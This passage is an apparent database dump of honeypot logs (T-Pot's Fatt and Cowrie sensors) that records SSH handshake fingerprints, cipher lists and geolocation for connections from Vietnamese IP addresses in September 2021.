"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21763	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:26.977362+03	2021-09-20 14:15:04.072613+03	{"_id": "tgXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49766, "timestamp": "2021-09-20T11:06:26.977362", "@timestamp": "2021-09-20T11:06:26.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21764	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:27.055881+03	2021-09-20 14:15:04.073613+03	{"_id": "twXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40276, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.055881", "@timestamp": "2021-09-20T11:06:27.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21765	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:27.100258+03	2021-09-20 14:15:04.075614+03	{"_id": "uAXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54962, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.100258", "@timestamp": "2021-09-20T11:06:27.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21766	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:27.168121+03	2021-09-20 14:15:04.076643+03	{"_id": "uQXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7233, "timestamp": "2021-09-20T11:06:27.168121", "@timestamp": "2021-09-20T11:06:27.168Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21767	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:27.19756+03	2021-09-20 14:15:04.077643+03	{"_id": "ugXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49766, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.197560", "@timestamp": "2021-09-20T11:06:27.197Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21782	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.418999+03	2021-09-20 14:15:04.098649+03	{"_id": "yQXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4463f8a835ce", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:27.418999Z", "@timestamp": "2021-09-20T11:06:27.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21768	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:27.266444+03	2021-09-20 14:15:04.079614+03	{"_id": "uwXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40632, "timestamp": "2021-09-20T11:06:27.266444", "@timestamp": "2021-09-20T11:06:27.266Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21769	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:27.380368+03	2021-09-20 14:15:04.080613+03	{"_id": "vAXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53320, "timestamp": "2021-09-20T11:06:27.380368", "@timestamp": "2021-09-20T11:06:27.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21770	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:27.542039+03	2021-09-20 14:15:04.081612+03	{"_id": "vQXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": 